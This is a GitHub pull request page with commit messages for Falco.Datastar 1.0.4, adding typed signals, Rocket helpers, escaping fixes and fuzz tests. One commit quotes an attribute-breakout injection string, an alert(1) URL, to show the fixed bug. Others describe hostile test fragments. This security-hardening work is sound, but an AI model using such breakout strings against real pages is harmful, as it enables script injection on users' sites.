Skip to content

Datastar 1.0.4: typed signals, expressions and statements, Rocket helpers, and a reader for the Rocket manifest - #20

Merged
pimbrouwers merged 52 commits into
falcoframework:mainfrom
WillEhrendreich:task/datastar-1.0.4-rocket
Oct 6, 2026
Merged

pimbrouwers merged 52 commits into
falcoframework:mainfrom
WillEhrendreich:task/datastar-1.0.4-rocket

Conversation

@WillEhrendreich

Copy link
Copy Markdown
Contributor

Binds Datastar 1.0.4 and adds a typed layer for signals, expressions and statements, plus server-side helpers for Rocket components.

Every claim in the README about Datastar's behaviour was checked against the v1.0.4 source rather than against its documentation, and a few of the things that were documented before turned out to be wrong. Those are the reason for most of the output changes below.

What is new

A typed layer. Signal.browser, Signal.server, Signal.rocket, Expr and Stmt let the compiler check what a JavaScript string cannot: that a signal exists, that a condition is a boolean, and that a value has the type of its signal. The string helpers are unchanged and still there.

let count = Signal.browser<int> "count"
let name  = Signal.server<string> "form.name"

Elem.div [ Ds.signal (count, 0); Ds.bind name ] [
    Elem.button [ Ds.onClick (Stmt.set count (Expr.add (Expr.read count) (Expr.int 1))) ] [ Text.raw "+" ]
    Elem.span [ Ds.text (Expr.read count) ] []
]

Rocket helpers for what a server renders: props with the codec each component expects, component-scoped signals, and the template directives. Rocket is in beta upstream and this follows its current shape.

Request helpers for reading signals, and a Response module covering the Server Sent Events.

Output that changes, and why

These are the ones worth reading. Each was checked against Datastar's source, and each was wrong or silently ineffective before.

Ds.setAll and Ds.toggleAll did nothing at all. They wrote @setAll('foo.', true). Datastar's signature is apply(_, value, filter) and toggleAll takes only a filter, so the prefix was being taken as the value and the value as the filter. They now write @setAll(true, { include: /^foo\./ }) and @toggleAll({ include: /^foo\./ }). The prefix is escaped as well, so a prefix containing a regex character now matches literally.

Ds.safariStreamingFix never fired. It wrote data-on:pageshow.window; Datastar has read modifiers after __ since 1.0.0, so it was listening for an event called pageshow.window.

Retry was ignored, because it was never written. Retry = OnError, OnAlways and OnNever now reach Datastar, so a request that sets one behaves differently.

RetryMaxWait was ignored too, under the name retryMaxWaitMs, which Datastar stopped reading in 1.0.0. It is now retryMaxWait.

FilterSignals raised JsonReaderException for any pattern, because the filter was written as if it were JSON. It is now {"filterSignals":{"include":"^foo"}}.

ContentType = CustomJson sent the wrong key. It wrote override, which Datastar does not have, so the signals went as usual. It now sends payload.

AbortController "$ctl" was sent as the text "$ctl", which Datastar ignores, because Datastar wants the controller object itself rather than its name. It is now written as $ctl, so the expression reads the signal that holds the controller.

Text is escaped. Ds.get, Ds.post and the rest escape the URL, Ds.signal escapes its value, and Ds.ref did not escape at all, so a name containing a quote ended the attribute and added attributes of its own. A name with no quote, angle bracket or ampersand renders exactly as before.

Names are checked. A signal name that Datastar would read differently from an expression, and a name that could end an attribute name early, now raise an ArgumentException that says what to write. This is new behaviour on input that used to be accepted, and Ds.class' ("card__title", …) is refused: Datastar reads that as a class called card with a modifier title.

OpenWhenHidden is now bool voption. It used to default to false and never be sent, so a @post got Datastar's true anyway. Leaving it unset now means Datstar's per-method default applies.

Breaking changes

  • OpenWhenHidden = true becomes OpenWhenHidden = ValueSome true.
  • Passing an argument whose type is not yet known, such as let click handler = Elem.button [ Ds.onClick handler ] [] or List.map Ds.show, now fails with FS0041. Add a type annotation. The typed overloads are new, so no released code is affected.
  • BackendAction.Query, RequestCancellation.Cleanup and OnEventModifier.Document are new union cases, so an exhaustive match gets warning FS0025.
  • Signal.tryCreate returns a SignalNameError rather than text, and RocketManifest.parse and Request.getRocketManifests return a RocketManifestError.
  • SignalPath.getSignalFromJson still returns ValueNone for a value it cannot read, as it always has.
  • A Signal.rocket is refused by Ds.signal, Ds.bind, Ds.computed and Ds.indicator. Rocket scopes an attribute's signal name to one component only for a signal that component declared with $$('name', value) in its setup, so anywhere else the name quietly meant a page signal that two components would share. Inside a component, use Rocket.local, or declare the signal there and bind to it with Ds.bind "name".

Testing

  • 329 unit tests on net8.0, net9.0 and net10.0.
  • Named tests pin the output of every helper.
  • Property tests (FsCheck) cover the rules the library's reasoning rests on: escaping round-trips, signal names Datastar reads as written, and the parentheses that keep a neighbouring operator out of an expression.
  • Simulation tests are seeded, so a failure replays, and build hostile text that an HTML5 parser reads back. DST_SEEDS=2000 for a long sweep.
  • Mutation tests (test/mutation) make a deliberate mistake in the source and require the suite to notice. 98 mutants, and the run prints how much of the library they rewrite so "all killed" is not read as more than it is. Mutation runs cannot be generated here, because no tool supports F#, so the list is hand-written and check verifies every entry still matches the source.
  • 19 browser tests drive real Chromium against Datastar 1.0.4 loaded from the CDN.

CI builds the solution, fails on any warning, type-checks every F# example in the README and the changelog against the built library, and checks the package contents. The mutation and DST runs also run on a schedule, so a claim about the tests cannot quietly rot.

What I would want reviewed

  • The escaping rules in Utility.fs are the security boundary, since Falco.Markup does not escape attribute values or names. I would like a second opinion on Js and Guard specifically.
  • The signal-name rules in Expr.fs. They refuse names for reasons that come from Datastar's parser; if any of those reasons is wrong the rule is wrong with it.
  • Rocket is in beta upstream, so Rocket.fs may need to move with it.

WillEhrendreich and others added 30 commits September 21, 2026 11:36
Microsoft.SourceLink.GitHub 8.* depends on Microsoft.Build.Tasks.Git 8.0.0,
which has a known vulnerability (GHSA-23fw-v26w-5fgq) and no 8.x fix. With
warnings treated as errors, the NU1902 advisory warning failed the build.
Version 10.0.303 and later are fixed. SourceLink only runs at build time
(PrivateAssets=All).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Update
- Ds.cdnSrc now points at Datastar v1.0.4. It pointed at 1.0.0-RC.7.
- Add Ds.datastarVersion, Ds.rocketCdnSrc and Ds.rocketCdnScript. The Rocket
  script is the Datastar build that includes Rocket.

Fixes
- Ds.setAll and Ds.toggleAll wrote the prefix as the first argument. The
  Datastar actions take (value, filter) and (filter), and they already did in
  RC.7. They now build an include filter from the prefix. Numbers are no
  longer quoted, and string values are escaped so they cannot break out of
  the attribute.
- ContentType.CustomJson sent an `override` option, which Datastar does not
  have, and sent the object as a string. It now sends `payload` as a JSON
  object.

New
- Ds.setAllFiltered, Ds.toggleAllFiltered, Ds.peek, Ds.query (@query) and
  SignalsFilter.Prefix.
- Ds.bindProp and Ds.bindEvent, for data-bind with __prop and __event on web
  components.
- OnEventModifier.Document, RequestCancellation.Cleanup and
  RequestOptions.ResponseOverrides (ElementsOverrides and OverrideSignals).

README: remove the OnEvent.SignalsChanged examples, which never existed, and
document the above. Every README example output was checked in the REPL.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Datastar sets openWhenHidden per action: false for @get, and true for @post,
@put, @patch, @delete and @query (createHttpMethod in fetch.ts).

This library documented a default of false, but never sent it, so a @post
used Datastar's true anyway. There was also no way to send false for a @post,
because false meant "not set". A value of true was sent as the string "true".

RequestOptions.OpenWhenHidden is now `bool voption`. It is ValueNone by
default, and is sent as a JSON boolean only when you set it.

BREAKING: code that sets `OpenWhenHidden = true` must now write
`OpenWhenHidden = ValueSome true`.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Rocket is Datastar's web-component layer, and it is in the 1.0.4 build.
Components are written in JavaScript. These helpers write what the server
renders. They write only the values you pass, so Rocket's defaults apply.

- Rocket.propString, propNumber, propBool, propDate, propJson and propBin
  write the attribute that the prop's codec reads (codecs.ts). Attribute
  names use a port of Datastar's own kebab function, which splits acronyms
  and digits (innerHTML becomes inner-html, pos3d becomes pos-3-d). The port
  was checked against the real function. Booleans are always written,
  because a missing attribute means the prop's default. Numbers use the
  invariant culture.
- Rocket.local, call and root write $$signals, @actions and the __root
  modifier. __root does not work on data-signals (template.ts, lines
  467-481).
- Rocket.templateFor, templateIf, templateElseIf and templateElse write the
  data-for and data-if directives, whose attribute names Rocket fixes.

examples/RocketComponents uses all of this. It was run in a browser, and these
were checked: props read from server attributes; an SSE patch re-rendering a
shadow-DOM component; template chains switching branch on re-render;
light-DOM children using $$ signals, @actions and data-for; Rocket.root
reaching a page signal; and a server patch replacing a light-DOM component's
children while its state is kept.

Also adds a README section and registers the example in the solution.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Reword the doc comments, code comments and README text added on this branch.
No behaviour changes.

Also remove two claims that the Datastar source does not support:
- That @setall and @toggleAll changed argument order in 1.0. They already
  took (value, filter) and (filter) in RC.7.
- That `override` was a removed option. RC.7 never had it.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Say what each test checks. Reasons that belong in a comment or a commit
message no longer sit in the name. No behaviour changes.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Explain what the option does, which default Datastar picks for each action,
and how to update code that sets OpenWhenHidden = true.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
List what stops old code compiling, what produces warnings, what can clash
with a user's own names, and what changes output without any compiler
message. Each item says how to fix it. The compiler messages and the fixes
were checked by building a separate project against this branch.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
- Datastar renamed the option retryMaxWaitMs to retryMaxWait in v1.0.0
  (RC.8 still used retryMaxWaitMs). This library kept writing the old name,
  so RequestOptions.RetryMaxWait was ignored.
- RequestOptions.Retry was never written at all, so OnError, OnAlways and
  OnNever had no effect.

Both are now written when they differ from the default. The names of the other
retry options are pinned by tests.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…signals are read

Datastar sends the signals of a @get and a @delete in the `datastar` query
parameter, and the signals of the other actions in the request body
(methodSupportsRequestBody in fetch.ts). SDK 1.2.0 and 1.2.1 read a DELETE
only from the body, so Request.getSignals and Request.getSignalsJson came back
empty, or threw "The input does not contain any JSON tokens", for a @delete.
SDK 1.3.0 fixed this.

Version 1.4.0 also adds PatchElementsOptions.ViewTransitionSelector, the
scoped view transition option that Datastar 1.0.4 reads. The SSE bytes for
every operation that 1.2.0 supports are the same in 1.4.0. The only public API
change is a new PatchElementsOptions constructor parameter, which affects
code that calls the constructor and not code that uses
`PatchElementsOptions.Defaults with`.

New tests read GET, POST and DELETE requests through this library's
Request functions.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Datastar 1.0.x can run under a policy that has a nonce and no unsafe-eval. It
reads data-nonce from the <html> element (csp.ts), which RC.7 did not do. Ds.nonce
writes that attribute.

Checked in a browser with the same policy (script-src 'nonce-...') on two
pages. Without data-nonce, Datastar throws an EvalError about unsafe-eval and
the page does nothing. With Ds.nonce there are no console errors, the counter
works, and Datastar removes data-nonce from <html> after reading it.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Datastar 1.0.4 lets responseOverrides replace selector, mode, namespace and
useViewTransition for patch-elements events. ElementsOverrides was missing
the namespace. ResponseOverrideNamespace must be written with its type name,
for example ResponseOverrideNamespace.Svg.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
- Ds.delete and the README said a DELETE sends its signals in the body. It
  sends them in the `datastar` query parameter, like GET.
- The README and Ds.ignore said the attribute is data-star-ignore. Datastar
  reads data-ignore.
- RequestCancellation.Auto said it cancels requests on the same element. Since
  1.0.2 it cancels an earlier request with the same method and URL.
- Ds.ignoreMorph now says when it applies: both the page's element and the
  server's element need the attribute, or the page's element must be inside
  an element that has it (patchElements.ts).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Upgrade notes: Retry is now sent and RetryMaxWait uses the name Datastar
1.0.4 reads, and the SDK moves to 1.4.0 with what that changes. A project that
references the SDK directly below 1.3.0 only gets warning NU1605 and keeps the
older version, and with it the @delete problem. That was checked by building a
project with such a reference.

New README subsection on PatchElementsOptions, including the scoped view
transition selector that Datastar 1.0.4 added.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
The __case modifier changes the casing of the name an attribute creates:
camel, kebab, snake or pascal. Datastar reads it in bind, class, computed,
indicator, on, ref and signals. This library had no way to write it.

Ds.withCase works on any attribute, so it needs no new parameter on the
existing helpers. It only has an effect where the name is in the attribute's
key, so it does nothing on Ds.ref and Ds.signals, which put the name or the
object in the value. The doc says so.

Checked in a browser: Ds.signal with CaseStyle.Snake created the signal
my_value, and Ds.onEvent with CaseStyle.Camel heard a myEvent custom event.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Rocket can post a JSON manifest of every component a page defined, so that a
docs build or a component registry can store it. RocketManifest.parse and
Request.getRocketManifests read it into typed records: props with their
codec, default, allowed values and documentation, plus slots and events.

The parser returns an error message when the text is not JSON, a required
property is missing, or the version is not 1. A codec name it does not know
is kept as RocketPropType.Other, so a newer Rocket does not break it.

The tests use the body that the Datastar 1.0.4 runtime really posted from a
browser, for a component with every kind of prop and for one with none.

This reads the document only. Generating typed element helpers from it is left
to a separate tool.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…unctions

The four links were checked against the live data-star.dev pages: the
attribute evaluation order, the backend actions, the SDK list and the signals
guide had all moved or been renamed. The Response.ofHtmlElements example
called Response.ofHtml, and the Response.ofRemoveElement example called a
function that does not exist and used a selector without the # of an id.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…ity page

Ds.withCase gets a README section. The Ds.nonce docs now say what the official
Security page says: the nonce must match the policy, the script tag needs it
too unless the policy allows its source, patches and JavaScript responses need
no nonce, CSP mode does not make expressions safe for untrusted content, and
Trusted Types works through a policy named datastar. An aliased script uses an
aliased attribute; Constants.dataSlugPrefix produces data-star-nonce, which was
checked by running it.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…the manifest reader

- Datastar's Rocket reference says Rocket is in beta and its API may change.
  The README and the Rocket type now say so.
- Template directives on server-rendered children run on page load in a
  light-DOM component. In an open shadow-DOM component they stay inert until
  a later server patch sends new children. That was checked in a browser: with
  the same markup, nothing rendered on load, and after a patch the data-if
  branch and both data-for rows appeared. Rocket.local and Rocket.root do
  work in those children on load.
- New README section for Request.getRocketManifests.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…nted

- New README section on answering a backend action without SSE, with the
  content types and datastar- headers from Datastar's Response handling
  reference. The samples were run in a browser: the html response appended to
  the list, the json response added a new signal and kept an existing one,
  and the javascript response ran. No new functions: Falco already covers it.
- The samples showed that Response.ofPlainText overwrites the content type,
  which the README now says.
- responseOverrides works in Datastar 1.0.4 but its documentation does not
  mention it, so the README and the type say it may change.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…notes

The upgrade notes used to say only "read the release notes". Now that the
release notes for RC.8 to 1.0.4 have been read, they list the changes that
can affect a page built with this library: no signal replacement inside quotes,
no cancellation on element removal by default, same-URL cancellation, no body
or Content-Type on GET and DELETE, the checkbox and radio event, the
prop-change event after a patch, and retries that send current signals.

The quote behaviour was checked in a browser.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
… go against the Tao

The Tao of Datastar says the backend drives the frontend by patching, and that
"there's no real benefit to using a content type other than text/event-stream".

- ResponseOverrides let the client replace what the server sent in an event,
  which reverses who drives. Datastar's own docs do not describe the option
  either. It is removed along with ElementsOverrides and
  ResponseOverrideNamespace. RequestOptions no longer gains a field, so one of
  the compile-breaking changes in 1.4.0 is gone. ResponseOverrideMode is back
  to how it was before this branch.
- The README section that promoted plain text/html, application/json and
  text/javascript responses is removed. This library offers SSE responses only.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…escaping holes

Typed layer (Expr.fs)
- Signal<'T> comes in three kinds that follow the Tao of Datastar. Signal.browser
  is UI-only: Datastar never sends it, because its name starts with an
  underscore. Signal.server is sent to the backend, for form input and state to
  submit. Signal.rocket belongs to one Rocket component instance ($$name). A
  server signal whose name starts with an underscore cannot be created, since
  Datastar would silently keep it in the browser. A name with a hyphen, or one
  that is not a signal path, is refused with a message that says what to write.
- Expr<'T> and Stmt replace the JavaScript strings. Literals are escaped, so
  text stays text. Operators are written with spaces, because Datastar reads
  $a-1 as a signal called a-1. Ds.text, show, class', attr', style, computed,
  signal, bind, indicator, onEvent, onClick, onInit, effect, onInterval,
  onIntersect and onSignalPatch each got an overload that takes them. The string
  overloads stay, so nothing breaks.
- Rocket.forEach gives each row a typed item and index, and templateIf and
  templateElseIf take a boolean expression. A component signal can be declared
  in F# markup, so a light-DOM Rocket component needs no JavaScript setup.

Fixes from the roast
- A URL in Ds.get, post, put, patch, delete and query, and a text or structured
  value in Ds.signal, were pasted into the expression unescaped. Ds.get
  "/x');alert(1);//" produced code that runs. They are escaped now.
- Ds.nonce refuses an empty value, which makes Datastar throw NonceRequired at
  load. Ds.bindEvent takes a first event, so an empty list, which leaves a
  binding that never syncs, cannot be written. Ds.bindProp refuses an empty name.
- A NaN or infinite number in Ds.setAll or Ds.signal is a JavaScript literal
  and no longer raises from the JSON serializer.

Checked in a browser with the real script: counters, a computed value, class
and ARIA bindings, a literal with quotes and markup that stayed text, a POST
whose URL had an apostrophe and an ampersand, the server receiving only the
server signal and none of the four browser signals, and two Rocket instances
that kept separate state.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
The old example broke three rules of the Tao.
- It kept a growing list of toggle history in browser signals, which is
  application state on the frontend.
- It rendered the counter once at startup, so a reload showed 0 while the
  server held the real count, and it shared a mutable global between visitors.
- It had no long-lived read stream.

Now:
- The server owns the count in one MailboxProcessor, so no shared mutable state.
  Every visitor sees the same count.
- CQRS: the page opens one long-lived GET stream, and a click sends a short
  POST that answers 204 No Content. The change reaches every viewer over the
  stream, after the server has confirmed it.
- The initial HTML carries the real count.
- The stream is compressed with Brotli.
- my-counter emits events and the page decides what they do, with the commands
  written as typed statements on the host element. my-toggle has no JavaScript,
  and keeps its state in Rocket component signals declared in F#.
- The only signals left are UI-only ones that never leave the browser.

Run in a browser: commands returned 204, a second viewer saw each change within
about 4 ms of the click, the stream had content-encoding br, the page request
sent no signals, and two toggle sections kept separate state.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
- New section that sets each rule of the Tao of Datastar against what this
  library does about it, with the CQRS pattern and Brotli compression for the
  stream. The compression settings were run: the stream had content-encoding br
  and updates still arrived within a few milliseconds. It also names the BREACH
  risk of EnableForHttps.
- New section on signals, expressions and statements in F#: the three kinds of
  signal and what each sends, the functions for expressions and statements,
  which Ds functions take them, and the rules worth knowing.
- The Signals introduction no longer says that Datastar uses signals to manage
  state. It says to use them sparingly, as the Tao does.
- Ds.onInterval samples used an API that does not exist (one argument and a
  TimeSpan). They are corrected, with a note that the Tao prefers a stream to
  polling.
- Notes on starting with the defaults, the default morph mode, and the default
  casing. Rocket notes: keep business state on the backend, declare component
  state in F#, use Rocket.forEach, and render lists on the server when the
  server knows them.
- Two dead anchors fixed. Every code sample was compiled first.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
The README had grown to a release-notes archive. The upgrade notes are now in
CHANGELOG.md with a short list of what is new, and the README links to it.
The notes gain one item: URLs and text values are now escaped, which changes
the generated text.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…the kebab-case names

Escaping URLs and text added cost to every Ds.get, Ds.text and similar call. Text with nothing to escape is now returned without a copy, and text that needs escaping is escaped in one pass.

RequestOptions.Defaults is built once. It was rebuilt about ten times for every request option that was written. SignalsFilter.IsNone replaces a comparison with SignalsFilter.None that allocated. String.datastarKebab remembers the names it has converted, up to 1000.

Release build: Ds.get "/x" takes 141 ns. Before the escaping fix it took 52 ns, but it did not escape the URL at all. Rocket.propNumber went from 847 ns to 66 ns.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
setAll and toggleAll have typed versions that take a prefix, and a Where version that takes a SignalsFilter. Expr.peek reads a value without subscribing to it. Ds.setAllFiltered and Ds.toggleAllFiltered now share one implementation with the typed versions.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
… the CI workflow

SourceLink is pinned to 10.0.401 instead of 10.*. The test project targets the same three frameworks as the library, and NSubstitute, which no test used, is removed. The CI workflow installs all three runtimes, uses current versions of the checkout and setup-dotnet actions, and builds each example.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
WillEhrendreich and others added 17 commits September 21, 2026 13:51
…stop reading a body over 1 MiB

RocketManifest.parse threw InvalidOperationException when components was not a list. It now returns an error. Errors name the component and the prop, or give the position of a prop, slot or event that has no name. The version error says what to do about it.

Request.getRocketManifests stops reading at 1 MiB and returns an error instead of reading the whole body into memory.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
test/Falco.Datastar.E2E opens pages in a real Chromium (Playwright) and checks what Datastar 1.0.4 and Rocket do with what the library writes: withCase, RetryMaxWait, the CSP nonce, DELETE with signals, the typed layer (including text with quotes and tags in it), publishRocketManifests read by Request.getRocketManifests, shadow-DOM template directives, and the RocketComponents example (a click reaches another window, the write answers 204, the stream is Brotli compressed).

The project is not in the solution, and the build workflow does not run it. The e2e workflow only runs on workflow_dispatch.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01W3fRchabSoisqDYrsUSuMN
…red error

The manifest types and the reader were in three files. They are now in RocketManifest.fs. RocketManifest.parse and Request.getRocketManifests return a RocketManifestError (NotJson, TooLarge, Missing, WrongKind, UnsupportedVersion) instead of a string, so a caller can match on the reason. Its Message property says what is wrong and what to do about it.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01W3fRchabSoisqDYrsUSuMN
Request options (Types.fs) are now written from a list of names and values instead of a JSON object, which fixes four things:
- FilterSignals threw for every filter, because the filter text is not JSON. It is now sent as string patterns. A filter that has an exclude keeps Datastar's rule that signals starting with an underscore stay in the browser, which Datastar would otherwise drop.
- AbortController was sent as a string, which Datastar ignores. It is now sent as the name of the signal.
- A header name that appears twice, a RetryScaler that is not a number and an AbortController without a name raise an ArgumentException that says what to write.
- One shared JsonSerializerOptions is used instead of a new one for every call.

Signals filters written into an attribute now escape a slash and a line break in the pattern, and encode the text for the attribute. Ds.onSignalPatchFilter and Ds.jsonSignalsOptions did not encode it, so a quote in a pattern ended the attribute. setAll and toggleAll no longer encode the filter twice.

Names that go into an attribute name (class names, event names, attribute names, style properties, Rocket prop names, and the values after a modifier such as the events of bindEvent) are checked. A quote, a space, = / < > or a double underscore raise an ArgumentException that says why. Before, Ds.class' with a name from data could add attributes of its own.

Signal names Datastar reads differently from an expression are refused: a part that starts with a capital letter, a double underscore, a trailing underscore, and a name that ends with a line break. Signal.tryCreate returns a SignalNameError with a Message. SignalScope, SignalNameError and RocketManifestError are RequireQualifiedAccess.

Expr and Stmt text is always escaped for the attribute, including unsafeRaw, which also puts text that is more than a name in parentheses. Rocket.templateIf, templateElseIf and forEach with an expression no longer encode it twice. Integer division is cut to a whole number. Stmt.all [] raises. Rocket.forEach checks that item and index names are identifiers.

Ds.safariStreamingFix used data-on:pageshow.window, which Datastar 1.0.4 reads as an event called pageshow.window. It now uses the __window modifier.

RocketManifest.parse no longer throws for a null body, a string with half a surrogate pair, or a version that is not a number. It returns an error for props, slots or events that are not lists and for a body that is not an object, and reads a prop with no default as null.

Retry.Serialize and CaseStyle.Serialize are internal. Documentation comments that were wrong are corrected.

Tests: 216 (up from 159). RequestOptions tests are in their own file, and helpers are shared in TestHelpers.fs.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01W3fRchabSoisqDYrsUSuMN
…in review

Browser tests (manual only) now also cover FilterSignals, request headers, AbortController, the elseif template branch, the string helpers (text stays text, template literals run, an action name in a string is not run) and every Rocket prop helper read back by its codec. The signals sent by the typed page are compared exactly, and the retry waits are held to the 300 ms cap with a tolerance instead of twice the cap. The CSP test without a nonce now waits for the browser's unsafe-eval refusal, so it can no longer pass because Datastar never loaded. The example fixture keeps the last lines the example wrote and puts them in the error when it does not start.

Unit tests: text and URLs that go through the escaping are read back the way a browser and a JavaScript parser read them (7,000 random cases), the empty-events and message cases of bindProp and bindEvent are checked, and a test name that claimed more than it asserted is renamed.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01W3fRchabSoisqDYrsUSuMN
README: samples that did not compile or did not do what they said are fixed (Ds.class', Ds.style, Ds.onInit was written as Ds.init, the debounce modifier, Response.ofPatchSignal, a sample that returned an unawaited task, TimeSpan.FromSeconds 1L, two wrong opens). Response.ofRemoveSignals and a string overload of Response.ofPatchSignals do not exist, so those sections now show removing a signal by patching it to null and sending raw JSON with the SDK. Claims that were wrong are corrected: the wire format of the signals, what Ds.ignoreSelf does, the default casing of a signal name, what OnNever does, and that Rocket.root has no effect on data-ref in Datastar 1.0.4. Signal names that are refused, the request options FilterSignals, Headers and AbortController, Ds.preserveAttr and Response.ofExecuteScript are documented. Samples use underscore names for browser-only state, the way the Tao of Datastar does. The relative links work on nuget.org.

CHANGELOG: adds the overload change that can stop code compiling, the new name clashes, the output changes (filters, request options, the Safari fix, unsafeRaw, integer division), the names that are now refused, which script version each helper needs, and corrects which SDK release added which type.

CI: the library build shows NuGet advisories (NU1901 to NU1904) as warnings instead of failing on a day when no code changed, and both workflows have read-only permissions. The build workflow has a timeout.

Attribute names are checked with a vectorized search, and the browser tests README lists what is covered.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01W3fRchabSoisqDYrsUSuMN
All randomized tests now take their randomness from a seed (Dst.fs). By default each runs the seeds 1 to 25. DST_SEEDS=n runs more, DST_SEED=n replays one, and a failure message names the seed and the command. A manual dst workflow runs many seeds on GitHub. test/Falco.Datastar.Tests/README.md explains the simulations.

DstHtmlTests builds attributes and template elements from hostile text with 26 helpers, and reads the HTML back with a real HTML5 parser (AngleSharp 1.8.2, test project only). A case has to be refused with an ArgumentException, or be read as one element with exactly the attributes that were generated, and the text that an attribute stands for has to come back exactly. It passes 500 seeds (about 200,000 cases). Removing the attribute-name guard or the carriage return escape makes it fail on seed 1, and the printed command replays the seed.

DstManifestTests fuzzes RocketManifest.parse with manifests that are changed or damaged, checks that the same manifest gives the same result however it is written, and runs Request.getRocketManifests over a stream that gives random chunk sizes, fails or is cancelled partway, and ends at the edge of the 1 MiB limit.

What the simulations found:
- A carriage return in an attribute value reached the browser as a line feed, and a NUL as U+FFFD. Rocket.propString, Ds.nonce and the template directives changed the text. A carriage return is now written as &falcoframework#13;, a NUL as U+FFFD in an attribute, and as \u0000 in a string literal and in a regular expression literal.
- RocketManifest.parse threw ArgumentException for a string that has half of a surrogate pair. It returns NotJson.

Both have plain regression tests. getRocketManifests now documents that a failed connection or a cancelled request throws instead of giving a result.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01W3fRchabSoisqDYrsUSuMN
… and document the new API with examples

Request.getRocketManifests no longer throws when the connection fails or the request is cancelled. It returns RocketManifestError.ConnectionFailed (which also covers ASP.NET Core's BadHttpRequestException, an IOException) or RocketManifestError.Cancelled. A mistake in the code, such as reading the body twice, still throws. The stream simulation now checks that rule, and there are tests for the Kestrel exception and for the exception that has to stay loud.

Documentation: every public Expr and Stmt function that had no comment now has one with an example and its real output. The README shows request options (FilterSignals, Headers, AbortController, ContentType, Retry) with the F# and what it writes, signals filters, how to match on SignalNameError and RocketManifestError, the attribute-name refusals, Expr.unsafeRaw, divide and Stmt.all, Ds.safariStreamingFix, the carriage return and NUL handling of Rocket.propString, and a Testing section about the simulations. Every sample was compiled and its output compared with the README.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01W3fRchabSoisqDYrsUSuMN
Stryker cannot read an F# project layout, so mutation testing here was a script.
That was the wrong shape: the mutant definitions are F#, and writing them inside
a script meant every string was doubly escaped and unverified until a run failed.

This makes it a console project, which gives the list type checking, and nothing
depends on it, so it stays out of the solution. It still has to be a separate
program, because a mutant rewrites src and the tests must run against the rebuilt
assembly, which the test process cannot do while holding that assembly open.

- "check" verifies every mutant still finds its text, exactly once, and says which
  files no mutant touches, so "all killed" is not read as coverage of the library
- "clean" restores the source after a run that was killed, and a run refuses to
  start while a backup is left behind
- a mutant that cannot be told from the original is marked Equivalent, so it is
  reported apart from a real gap rather than as a test to write
- the run prints how many lines of the library it actually rewrites

The list goes from 58 to 91 mutants. Ds.fs, Rocket.fs, Request.fs and Response.fs
had none at all, and Ds.fs is the public surface: a plugin name written even
slightly wrong is an attribute Datastar does not run, and nothing else notices.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The simulation tests built their input from an unweighted corpus of hostile
fragments, which is the shape that finds nothing. Averaged uniformly it produces
mostly harmless letters, so the fragments that actually break a parser are almost
never drawn, and the run is green because it never reached the cases.

Fragments.fs now groups them by what they attack: text that ends an attribute,
text that closes the element, text that ends a JavaScript string, the characters a
parser rewrites or cannot keep, and text that collides with how Datastar reads a
name. Each group is weighted, and ordinary text is still the common case so the
dangerous fragments are found among real input rather than in a stream of nothing
but punctuation.

DistributionTests measures what a long run reaches, so a change to the weights
shows up as a number instead of as a run that quietly stopped covering anything.
It also pins that a seed always gives the same output, so the seed in a failure
message is worth something, and that a long run produces many different texts
rather than a few shapes repeated.

Each of those is a guard, and a guard is only worth having if it can fail. Set one
group's weight to 0 and the tests name the fragments that stopped being generated.

Also drops the event-id assertion from the remove test: the SDK does not put an id
on a removal, so it was pinning the SDK's behaviour rather than this library's.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Two claims were quietly rot-prone, and both are now enforced.

The simulation harness drew from System.Random, and .NET does not promise to keep
Random's algorithm. A seed that reproduces a failure today may not after a runtime
upgrade, so every DST_SEED replay in an issue tracker is a lie waiting to happen.
Generator.fs is SplitMix64 written out instead, and GeneratorTests pins the values a
seed gives. It also checks that a small bound still reaches every value in it and
